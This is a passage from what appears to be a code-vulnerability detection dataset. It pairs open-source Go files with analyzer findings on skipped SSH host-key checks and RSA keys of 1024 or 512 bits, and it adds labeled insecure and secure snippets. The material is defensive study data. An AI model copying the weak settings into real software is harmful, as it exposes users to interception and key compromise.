err := parseHandle(args[0])\n\tif err != nil {\n\t\treturn err\n\t}\n\tremote := args[1]\n\tcommand := args[2]\n\n\t// Confirm that the provided arguments make sense\n\tif opt.insecure && opt.knownHostsFile != \"\" {\n\t\treturn errors.New(\"can't use -k with -s\")\n\t}\n\tif opt.crtFile != \"\" && opt.crtHandle != \"\" {\n\t\treturn errors.New(\"can use either -c or -i, not both\")\n\t}\n\n\t// Parse the remote location into user and host\n\ts := strings.Split(remote, \"@\")\n\tif len(s) != 2 {\n\t\treturn errors.New(\"require user@host:port for remote endpoint\")\n\t}\n\tuser := s[0]\n\thost := s[1]\n\n\t// Open the TPM\n\tdev, err := tpmk.OpenDevice(opt.device)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"opening \"+opt.device)\n\t}\n\tdefer dev.Close()\n\n\t// Use the key in the TPM to build an ssh.Signer\n\tpk, err := tpmk.NewRSAPrivateKey(dev, keyHandle, opt.keyPassword)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"accessing key\")\n\t}\n\tsigner, err := ssh.NewSignerFromSigner(pk)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"invalid key\")\n\t}\n\n\t// Use client certificate, if provided to extend the ssh.Signer with a cerfificate\n\tif opt.crtFile != \"\" || opt.crtHandle != \"\" {\n\t\tvar b []byte\n\t\tvar err error\n\t\tif opt.crtHandle != \"\" { // Read the cert from NV\n\t\t\tcrtHandle, err := parseHandle(opt.crtHandle)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tb, err = tpmk.NVRead(dev, crtHandle, \"\")\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"reading crt from TPM\")\n\t\t\t}\n\t\t} else { // Read the cert from file\n\t\t\tb, err = ioutil.ReadFile(opt.crtFile)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"reading client crt file\")\n\t\t\t}\n\t\t}\n\n\t\t// Unmarshall the certificate according to the provided format\n\t\tvar pub ssh.PublicKey\n\t\tswitch opt.crtFormat {\n\t\tcase \"openssh\":\n\t\t\tpub, err = tpmk.ParseOpenSSHPublicKey(b)\n\t\tcase \"wire\":\n\t\t\tpub, err = ssh.ParsePublicKey(b)\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unsupported certificate format '%s\", opt.crtFormat)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"parsing client crt file\")\n\t\t}\n\n\t\t// Make sure the provided cert really was one\n\t\tcrt, ok := pub.(*ssh.Certificate)\n\t\tif !ok {\n\t\t\treturn errors.New(\"client cert file not of the right type\")\n\t\t}\n\n\t\t// Extend the signer used in the handshake to present the cert to the server\n\t\tsigner, err = ssh.NewCertSigner(crt, signer)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Find a known_hosts file with valid host keys or certificates. Use the following search order:\n\t// 1. Proviced by command line options\n\t// 2. Disabled via command line (-k)\n\t// 3. $HOME/.ssh/known_hosts if $HOME is non-empty\n\t// 4. /etc/ssh/ssh_known_hosts\n\tvar hostKeyCallback ssh.HostKeyCallback\n\tswitch {\n\tcase opt.knownHostsFile != \"\": // Parse and use the given known_hosts file\n\t\thostKeyCallback, err = knownhosts.New(opt.knownHostsFile)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reading host key file\")\n\t\t}\n\tcase opt.insecure: // Don't validate and accept anything presented by the host\n\t\thostKeyCallback = ssh.InsecureIgnoreHostKey()\n\tdefault: // Try to find a known hosts file, give up if there isn't one\n\t\tif home := os.Getenv(\"HOME\"); home != \"\" {\n\t\t\tf := filepath.Join(home, \".ssh/known_hosts\")\n\t\t\thostKeyCallback, err = knownhosts.New(f)\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif !os.IsNotExist(err) {\n\t\t\t\treturn errors.Wrap(err, \"reading known_hosts file: \"+f)\n\t\t\t}\n\t\t}\n\t\thostKeyCallback, err = knownhosts.New(\"/etc/ssh/ssh_known_hosts\")\n\t\tif err != nil {\n\t\t\treturn errors.New(\"unable to find a known_hosts file\")\n\t\t}\n\t}\n\n\t// Build SSH client config with just public key auth\n\tconfig := &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: hostKeyCallback,\n\t}\n\n\tvar client *ssh.Client\n\tif opt.proxySocks5 != \"\" {\n\t\tsocksConnection, err := proxy.SOCKS5(\"tcp\", opt.proxySocks5, nil, proxy.Direct)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not create socks5 proxy \"+opt.proxySocks5)\n\t\t}\n\t\tconn, err := socksConnection.Dial(\"tcp\", host)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not create connection with socks.\")\n\t\t}\n\t\tdefer conn.Close()\n\t\tclientConnection, chans, reqs, err := ssh.NewClientConn(conn, host, config)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not create socks5 proxy client \"+opt.proxySocks5)\n\t\t}\n\t\tclient = ssh.NewClient(clientConnection, chans, reqs)\n\t\tdefer client.Close()\n\t} else {\n\t\tclient, err = ssh.Dial(\"tcp\", host, config)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"connecting to \"+host)\n\t\t}\n\t\tdefer client.Close()\n\t}\n\t\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"creating SSH session\")\n\t}\n\tdefer session.Close()\n\n\t// Hook up in/out/err to the command and execute it\n\tsession.Stdin = os.Stdin\n\tsession.Stdout = os.Stdout\n\tsession.Stderr = os.Stderr\n\treturn session.Run(command)\n}", "dangerousExampleEn": "1. func Dan_SSH(c *gin.Context) {\n2. \tusername := \"sparrow\"\n3. \tpassword := models.Strings\n4. \n5. \tconfig := &ssh.ClientConfig{\n6. \t\tUser: username,\n7. \t\tAuth: []ssh.AuthMethod{\n8. \t\t\tssh.Password(password),\n9. \t\t},\n10. \t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n11. \t}\n12. \t...\n13. }\nLine 10: A man-in-the-middle attack may occur because InsecureIgnoreHostKey() is used.", "safeExampleEn": "1. func Safe_SSH(c *gin.Context) {\n2. \tusername := \"sparrow\"\n3. \tpassword := models.Strings\n4. \n5. \tconfig := &ssh.ClientConfig{\n6. \t\tUser: username,\n7. \t\tAuth: []ssh.AuthMethod{\n8. \t\t\tssh.Password(password),\n9. \t\t},\n10. //HostKeyCallback: ssh.InsecureIgnoreHostKey(),\n11. \t}\n12. \t...\n13. }\nLine 10: Logic for validating the server is required because InsecureIgnoreHostKey() is not used.", "contexts": [{"lineNo": 172, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "173"}}, {"lineNo": 173, "eventType": "sink", "messageKey": "gochk.IMPROPER_SSH_KEY_SETTING.GO.defect", "params": {}}]}} {"id": "ba8a922f87748820c34b51fb5e3cf64781b7c61c0eb1ff5d970ae44c8fcbe206", "license": {"spdx": ["MIT"], "repo": "DavidCai1993/jwt", "path": "verify_test.go", "repo_head_hexsha": "d4b35dc9042b150d062657ad6b082750049e53a6", "stack_hexsha": "ba042076ad46181b623c7fa755c6b2b15e303509", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Insufficient RSA Encryption Key Length", "issueDescriptionEn": "RSA encryption is one of the public key encryption mechanism: the longer key makes the encryption stronger.\nIn general, a key length of 2048 bits is considered as appropriate. Because it is practically impossible to decrypt the encryption without the key.\nIt is recommended to use a 2048 bits or longer key for the RSA. Although 3072 or 4096 bits key enhances security on the encryption, 2048 bits key is more recommendable than others. Since computing resources get increased on encryption and decryption of the longer key.", "issueLineNumber": 39, "entireCode": "package jwt\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestVerfiy(t *testing.T) {\n\tassert := assert.New(t)\n\n\tcustom := map[string]interface{}{\n\t\t\"test1k\": \"test1v\",\n\t\t\"test2k\": float64(234),\n\t}\n\n\tsignOpt := &SignOption{\n\t\tAlgorithm: HS256,\n\t\tIssuer: \"testIssuer\",\n\t\tSubject: \"tsetSubject\",\n\t\tAudience: \"testAudience\",\n\t\tExpiresIn: time.Minute,\n\t}\n\n\tt.Run(\"Should return ErrInvalidSignature when HMAC sig is invalid\", func(t *testing.T) {\n\t\ttoken, err := Sign(custom, \"key\", signOpt)\n\n\t\tassert.Nil(err)\n\n\t\t_, _, err = Verify(token, \"key1\", &VerifyOption{Algorithm: HS256})\n\n\t\tassert.Equal(ErrInvalidSignature, err)\n\t})\n\n\tt.Run(\"Should return ErrInvalidSignature when RSA sig is invalid\", func(t *testing.T) {\n\t\tkey, err := rsa.GenerateKey(rand.Reader, 1024)\n\n\t\tassert.Nil(err)\n\n\t\ttoken, err := Sign(custom, key, &SignOption{\n\t\t\tAlgorithm: RS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience\",\n\t\t\tExpiresIn: time.Minute,\n\t\t})\n\n\t\tassert.Nil(err)\n\n\t\tkey2, err := rsa.GenerateKey(rand.Reader, 1024)\n\n\t\tassert.Nil(err)\n\n\t\t_, _, err = Verify(token, key2, &VerifyOption{Algorithm: RS256})\n\n\t\tassert.Equal(ErrInvalidSignature, err)\n\t})\n\n\tt.Run(\"Should return ErrInvalidReservedClaim when aud is miss-match\", func(t *testing.T) {\n\t\ttoken, err := Sign(custom, \"key\", signOpt)\n\n\t\tassert.Nil(err)\n\n\t\t_, _, err = Verify(token, \"key\", &VerifyOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience-invalid\",\n\t\t})\n\n\t\tassert.Equal(ErrInvalidReservedClaim, err)\n\t})\n\n\tt.Run(\"Should return ErrInvalidReservedClaim when iss is miss-match\", func(t *testing.T) {\n\t\ttoken, err := Sign(custom, \"key\", signOpt)\n\n\t\tassert.Nil(err)\n\n\t\t_, _, err = Verify(token, \"key\", &VerifyOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer-invalid\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience\",\n\t\t})\n\n\t\tassert.Equal(ErrInvalidReservedClaim, err)\n\t})\n\n\tt.Run(\"Should return ErrInvalidReservedClaim when sub is miss-match\", func(t *testing.T) {\n\t\ttoken, err := Sign(custom, \"key\", signOpt)\n\n\t\tassert.Nil(err)\n\n\t\t_, _, err = Verify(token, \"key\", &VerifyOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject-invalid\",\n\t\t\tAudience: \"testAudience\",\n\t\t})\n\n\t\tassert.Equal(ErrInvalidReservedClaim, err)\n\t})\n\n\tt.Run(\"Should return ErrTokenExpired when token expired\", func(t *testing.T) {\n\t\ttoken, err := Sign(custom, \"key\", &SignOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience\",\n\t\t\tExpiresIn: time.Second,\n\t\t})\n\n\t\t<-time.After(time.Second * 2)\n\n\t\tassert.Nil(err)\n\n\t\t_, _, err = Verify(token, \"key\", &VerifyOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience\",\n\t\t})\n\n\t\tassert.Equal(ErrTokenExpired, err)\n\t})\n\n\tt.Run(\"Should pass when token expired but IngoreExpiration\", func(t *testing.T) {\n\t\ttoken, err := Sign(custom, \"key\", &SignOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience\",\n\t\t\tExpiresIn: time.Second,\n\t\t})\n\n\t\t<-time.After(time.Second * 2)\n\n\t\tassert.Nil(err)\n\n\t\t_, _, err = Verify(token, \"key\", &VerifyOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience\",\n\t\t\tIngoreExpiration: true,\n\t\t})\n\n\t\tassert.Equal(nil, err)\n\t})\n\n\tt.Run(\"Should return original header and paylaod\", func(t *testing.T) {\n\t\ttoken, err := Sign(custom, \"key\", &SignOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience\",\n\t\t\tExpiresIn: time.Second * 10,\n\t\t})\n\n\t\tassert.Nil(err)\n\n\t\theader, payload, err := Verify(token, \"key\", &VerifyOption{\n\t\t\tAlgorithm: HS256,\n\t\t\tIssuer: \"testIssuer\",\n\t\t\tSubject: \"tsetSubject\",\n\t\t\tAudience: \"testAudience\",\n\t\t})\n\n\t\tassert.Nil(err)\n\t\tassert.Equal(2, len(header))\n\t\tassert.Equal(7, len(payload))\n\t})\n}", "dangerousExampleEn": "1. func Dan(c *gin.Context) {\n2. \tinput := c.PostForm(\"input\")\n3. \tprivateKey, err := rsa.GenerateKey(rand.Reader, 1024)\n4. \tif err != nil {\n5. \t\tlog.Println(err.Error())\n6. }\nLine 3: This is insecure because the RSA key is set to 1024 bits.", "safeExampleEn": "1. func Safe(c *gin.Context) {\n2. \tinput := c.PostForm(\"input\")\n3. \tprivateKey, err := rsa.GenerateKey(rand.Reader, 2048)\n4. \tif err != nil {\n5. \t\tlog.Println(err.Error())\n6. }\nLine 3: This is secure because the RSA key is set to a recommended length of 2048 bits.", "contexts": [{"lineNo": 39, "eventType": "sink", "messageKey": "gochk.WEAK_ENCRYPTION.INSUFFICIENT_KEY_SIZE.GO.defect", "params": {}}]}} {"id": "57d09029e4b7104fa4fe6b118ee72a775bdfcb4bb1846fee85930a837897304f", "license": {"spdx": ["Apache-2.0"], "repo": "smu-ggl/fleetspeak", "path": "fleetspeak/src/common/ids_test.go", "repo_head_hexsha": "3846fec4ec12f3024a6d4f5d94f4f0426f05cafa", "stack_hexsha": "e5631bfac2a5fde0ca21442101efc44b8d3f1d75", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Insufficient RSA Encryption Key Length", "issueDescriptionEn": "RSA encryption is one of the public key encryption mechanism: the longer key makes the encryption stronger.\nIn general, a key length of 2048 bits is considered as appropriate. Because it is practically impossible to decrypt the encryption without the key.\nIt is recommended to use a 2048 bits or longer key for the RSA. Although 3072 or 4096 bits key enhances security on the encryption, 2048 bits key is more recommendable than others. Since computing resources get increased on encryption and decryption of the longer key.", "issueLineNumber": 93, "entireCode": "// Copyright 2017 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// https://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage common\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"testing\"\n)\n\nfunc TestClientID(t *testing.T) {\n\t// A ClientID is either empty/nil, or is a sequence of 8 arbitrary\n\t// bytes. It is displayed as 16 hex characters.\n\tfor _, tc := range []struct {\n\t\tbytes []byte\n\t\twant string\n\t\twantError bool\n\t}{\n\t\t{bytes: []byte{}, want: \"nil\"},\n\t\t{bytes: []byte(\"abc\"), wantError: true},\n\t\t{bytes: []byte(\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\"), wantError: true},\n\t\t{bytes: []byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"), want: \"0000000000000000\"},\n\t\t{bytes: []byte(\"\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\"), want: \"000000ff00000000\"},\n\t\t{bytes: []byte(\"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\"), want: \"0001020304050607\"},\n\t\t{bytes: []byte(\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\"), want: \"0102030405060708\"},\n\t\t{bytes: []byte(\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\"), wantError: true},\n\t\t{bytes: []byte(\"\\xff\\xfe\\xfd\\xfc\\xfb\\xfb\\xfa\\xf9\"), want: \"fffefdfcfbfbfaf9\"},\n\t} {\n\t\tgot, err := BytesToClientID(tc.bytes)\n\t\tswitch {\n\t\tcase err != nil && !tc.wantError:\n\t\t\tt.Errorf(\"BytesToClientID(%v) returned unexpected error: %v\", tc.bytes, err)\n\t\tcase err == nil && tc.wantError:\n\t\t\tt.Errorf(\"BytesToClientID(%v) returned [%v] expected error: %v\", tc.bytes, got, err)\n\t\tcase err == nil && !tc.wantError:\n\t\t\tif got.String() != tc.want {\n\t\t\t\tt.Errorf(\"BytesToClientID(%v) = %v want %v\", tc.bytes, got, tc.want)\n\t\t\t}\n\t\t}\n\t\tif err != nil {\n\t\t\th, err := StringToClientID(got.String())\n\t\t\tif err != nil {\n\t\t\t\tt.Errorf(\"Unable to convert %v back to client id: %v\", got, err)\n\t\t\t}\n\t\t\tif h != got {\n\t\t\t\tt.Errorf(\"Mismatch after to and from string. Started with %v ended with %v\", got, h)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Verify that it works as a map key.\n\tid1, err := BytesToClientID([]byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tid2, err := BytesToClientID([]byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tid3, err := BytesToClientID([]byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tm := make(map[ClientID]int)\n\tm[id1] = 1\n\tm[id2] = 2\n\tm[id3] = 3\n\tif m[id1] != 1 {\n\t\tt.Errorf(\"id1 could not be used to retrieve 1, got %v\", m[id1])\n\t}\n\tid2a, err := BytesToClientID([]byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif m[id2a] != 2 {\n\t\tt.Errorf(\"Duplicate of id2 could not be used to retrieve 2, got %v\", m[id2a])\n\t}\n}\n\nfunc TestMakeClientID(t *testing.T) {\n\tk1, err := rsa.GenerateKey(rand.Reader, 1024)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tk2, err := rsa.GenerateKey(rand.Reader, 1024)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tid1, err := MakeClientID(k1.Public())\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tid2, err := MakeClientID(k2.Public())\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif id1 == id2 {\n\t\tt.Errorf(\"Ids from different keys should be different, but both were [%v]\", id1)\n\t}\n\n\tid1b, err := MakeClientID(k1.Public())\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif id1b != id1 {\n\t\tt.Errorf(\"Ids from key %v were different, should be identical: [%v], [%v]\", k1, id1, id1b)\n\t}\n}\n\nfunc TestMessageID(t *testing.T) {\n\t// A MessageID is either empty/nil, or is a sequence of 32 arbitrary\n\t// bytes. It is displayed in hex.\n\tfor _, tc := range []struct {\n\t\tbytes []byte\n\t\twant string\n\t\twantError bool\n\t}{\n\t\t{bytes: []byte{}, want: \"nil\"},\n\t\t{bytes: []byte(\"abc\"), wantError: true},\n\t\t{bytes: []byte(\n\t\t\t\"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\"),\n\t\t\twantError: true},\n\t\t{bytes: []byte(\n\t\t\t\"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\"),\n\t\t\twant: \"000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f\"},\n\t\t{bytes: []byte(\"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\"),\n\t\t\twantError: true},\n\t} {\n\t\tgot, err := BytesToMessageID(tc.bytes)\n\t\tswitch {\n\t\tcase err != nil && !tc.wantError:\n\t\t\tt.Errorf(\"BytesToMessageID(%v) returned unexpected error: %v\", tc.bytes, err)\n\t\tcase err == nil && tc.wantError:\n\t\t\tt.Errorf(\"BytesToMessageID(%v) returned [%v] expected error: %v\", tc.bytes, got, err)\n\t\tcase err == nil && !tc.wantError:\n\t\t\tif got.String() != tc.want {\n\t\t\t\tt.Errorf(\"BytesToMessageID(%v) = %v want %v\", tc.bytes, got, tc.want)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Verify that it works as a map key.\n\tid1, err := BytesToMessageID([]byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tid2, err := BytesToMessageID([]byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tid3, err := BytesToMessageID([]byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tm := make(map[MessageID]int)\n\tm[id1] = 1\n\tm[id2] = 2\n\tm[id3] = 3\n\tif m[id1] != 1 {\n\t\tt.Errorf(\"id1 could not be used to retrieve 1, got %v\", m[id1])\n\t}\n\tid2a, err := BytesToMessageID([]byte(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\"))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif m[id2a] != 2 {\n\t\tt.Errorf(\"Duplicate of id2 could not be used to retrieve 2, got %v\", m[id2a])\n\t}\n\n}", "dangerousExampleEn": "1. func Dan(c *gin.Context) {\n2. \tinput := c.PostForm(\"input\")\n3. \tprivateKey, err := rsa.GenerateKey(rand.Reader, 1024)\n4. \tif err != nil {\n5. \t\tlog.Println(err.Error())\n6. }\nLine 3: This is insecure because the RSA key is set to 1024 bits.", "safeExampleEn": "1. func Safe(c *gin.Context) {\n2. \tinput := c.PostForm(\"input\")\n3. \tprivateKey, err := rsa.GenerateKey(rand.Reader, 2048)\n4. \tif err != nil {\n5. \t\tlog.Println(err.Error())\n6. }\nLine 3: This is secure because the RSA key is set to a recommended length of 2048 bits.", "contexts": [{"lineNo": 93, "eventType": "sink", "messageKey": "gochk.WEAK_ENCRYPTION.INSUFFICIENT_KEY_SIZE.GO.defect", "params": {}}]}} {"id": "5893b839ac0d0000131128cd5effd92241a68aec19c83ad22b0f1f5256781297", "license": {"spdx": ["Apache-2.0"], "repo": "playplay/compute-image-windows", "path": "vendor/github.com/mitchellh/packer/builder/azure/pkcs12/safebags_test.go", "repo_head_hexsha": "9f45829af870e7801ac9b9cdb2e3fe9820244e84", "stack_hexsha": "384dd5ce3a027c7b237e3bc407dd534e94ccba98", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Insufficient RSA Encryption Key Length", "issueDescriptionEn": "RSA encryption is one of the public key encryption mechanism: the longer key makes the encryption stronger.\nIn general, a key length of 2048 bits is considered as appropriate. Because it is practically impossible to decrypt the encryption without the key.\nIt is recommended to use a 2048 bits or longer key for the RSA. Although 3072 or 4096 bits key enhances security on the encryption, 2048 bits key is more recommendable than others. Since computing resources get increased on encryption and decryption of the longer key.", "issueLineNumber": 42, "entireCode": "package pkcs12\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/x509\"\n\t\"encoding/asn1\"\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc decodePkcs8ShroudedKeyBag(asn1Data, password []byte) (privateKey interface{}, err error) {\n\tpkinfo := new(encryptedPrivateKeyInfo)\n\tif _, err = asn1.Unmarshal(asn1Data, pkinfo); err != nil {\n\t\terr = fmt.Errorf(\"error decoding PKCS8 shrouded key bag: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tpkData, err := pbDecrypt(pkinfo, password)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"error decrypting PKCS8 shrouded key bag: %v\", err)\n\t\treturn\n\t}\n\n\trv := new(asn1.RawValue)\n\tif _, err = asn1.Unmarshal(pkData, rv); err != nil {\n\t\terr = fmt.Errorf(\"could not decode decrypted private key data\")\n\t}\n\n\tif privateKey, err = x509.ParsePKCS8PrivateKey(pkData); err != nil {\n\t\terr = fmt.Errorf(\"error parsing PKCS8 private key: %v\", err)\n\t\treturn nil, err\n\t}\n\treturn\n}\n\n// Assert the default algorithm parameters are in the correct order,\n// and default to the correct value. Defaults are based on OpenSSL.\n// 1. IterationCount, defaults to 2,048 long.\n// 2. Salt, is 8 bytes long.\nfunc TestDefaultAlgorithmParametersPkcs8ShroudedKeyBag(t *testing.T) {\n\tprivateKey, err := rsa.GenerateKey(rand.Reader, 512)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to generate a private key: %s\", err)\n\t}\n\n\tpassword := []byte(\"\")\n\tbytes, err := encodePkcs8ShroudedKeyBag(privateKey, password)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to encode PKCS#8 shrouded key bag: %s\", err)\n\t}\n\n\tvar pkinfo encryptedPrivateKeyInfo\n\trest, err := asn1.Unmarshal(bytes, &pkinfo)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to unmarshal encryptedPrivateKeyInfo %s\", err)\n\t}\n\n\tif len(rest) != 0 {\n\t\tt.Fatalf(\"unexpected trailing bytes of len=%d, bytes=%x\", len(rest), rest)\n\t}\n\n\tvar params pbeParams\n\trest, err = asn1.Unmarshal(pkinfo.GetAlgorithm().Parameters.FullBytes, ¶ms)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to unmarshal encryptedPrivateKeyInfo %s\", err)\n\t}\n\n\tif len(rest) != 0 {\n\t\tt.Fatalf(\"unexpected trailing bytes of len=%d, bytes=%x\", len(rest), rest)\n\t}\n\n\tif params.Iterations != pbeIterationCount {\n\t\tt.Errorf(\"expected iteration count to be %d, but actual=%d\", pbeIterationCount, params.Iterations)\n\t}\n\tif len(params.Salt) != pbeSaltSizeBytes {\n\t\tt.Errorf(\"expected the number of salt bytes to be %d, but actual=%d\", pbeSaltSizeBytes, len(params.Salt))\n\t}\n}\n\nfunc TestRoundTripPkcs8ShroudedKeyBag(t *testing.T) {\n\tprivateKey, err := rsa.GenerateKey(rand.Reader, 512)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to generate a private key: %s\", err)\n\t}\n\n\tpassword := []byte(\"\")\n\tbytes, err := encodePkcs8ShroudedKeyBag(privateKey, password)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to encode PKCS#8 shrouded key bag: %s\", err)\n\t}\n\n\tkey, err := decodePkcs8ShroudedKeyBag(bytes, password)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to decode PKCS#8 shrouded key bag: %s\", err)\n\t}\n\n\tactualPrivateKey := key.(*rsa.PrivateKey)\n\tif actualPrivateKey.D.Cmp(privateKey.D) != 0 {\n\t\tt.Fatal(\"failed to round-trip rsa.PrivateKey.D\")\n\t}\n}", "dangerousExampleEn": "1. func Dan(c *gin.Context) {\n2. \tinput := c.PostForm(\"input\")\n3. \tprivateKey, err := rsa.GenerateKey(rand.Reader, 1024)\n4. \tif err != nil {\n5. \t\tlog.Println(err.Error())\n6. }\nLine 3: This is insecure because the RSA key is set to 1024 bits.", "safeExampleEn": "1. func Safe(c *gin.Context) {\n2. \tinput := c.PostForm(\"input\")\n3. \tprivateKey, err := rsa.GenerateKey(rand.Reader, 2048)\n4. \tif err != nil {\n5. \t\tlog.Println(err.Error())\n6. }\nLine 3: This is secure because the RSA key is set to a recommended length of 2048 bits.", "contexts": [{"lineNo": 42, 